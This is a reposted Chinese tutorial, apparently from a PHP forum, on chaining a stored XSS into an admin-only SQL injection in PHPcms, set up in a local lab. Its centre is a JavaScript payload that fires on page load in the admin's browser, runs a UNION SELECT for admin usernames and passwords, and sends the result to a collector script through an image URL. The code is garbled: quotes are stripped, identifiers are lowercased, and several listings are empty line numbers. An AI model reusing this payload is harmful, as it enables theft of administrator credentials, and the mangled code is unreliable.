您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

PHPcms利用xss执行sql注入

2026/2/17 11:12:44发布16次查看
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
01
mysql数据库:
1     database:test
2     table:test、admin
3     column:test.id、test.realname
4                  admin.id、admin.username、admin.password
get.php(获取的注入后数据截取)
1
xsssqli.js(payload)
01     function addloadevent(func)//窗口打开加载多个函数
02     {
03      var oldfunc=window.onload; //页面打开是加载方法
04         if(typeof(window.onload)!=function)
05         {
06          window.onload=func;
07         }
08         else
09         {
10          window.onload=function()
11          {
12           oldfunc();
13           func();
14           }
15          }
16     }
17     function get_xsssqli()
18     {
19      var url = http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin;
20      var ajax = null;
21      if(window.xmlhttprequest)
22      {
23       ajax = new xmlhttprequest();
24      }
25      else if(window.activexobject)
26      {
27       ajax = new activexobject(microsoft.xmlhttp);//ie6和一下老版本
28      }
29      else
30      {
31       return;
32      }
33      ajax.open(get, url, true);
34      ajax.send(null);
35      ajax.onreadystatechange = function()
36      {
37       if(ajax.readystate == 4 && ajax.status == 200)
38       {
39        var img = document.createelement(img);
40        img.src = http://127.0.0.1/xss/get.php?get=+ajax.responsetext;
41        document.body.appendchild(img);
42       }
43      }
44     }
45     addloadevent(get_xsssqli);
模拟xss漏洞
1    
2      
3       use xss to sqli
4      
5      
6      
7      
8    
最后成功得到数据:
当然你也可以写个正则截获指定数据!
来自:http://superman.php100.com/
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product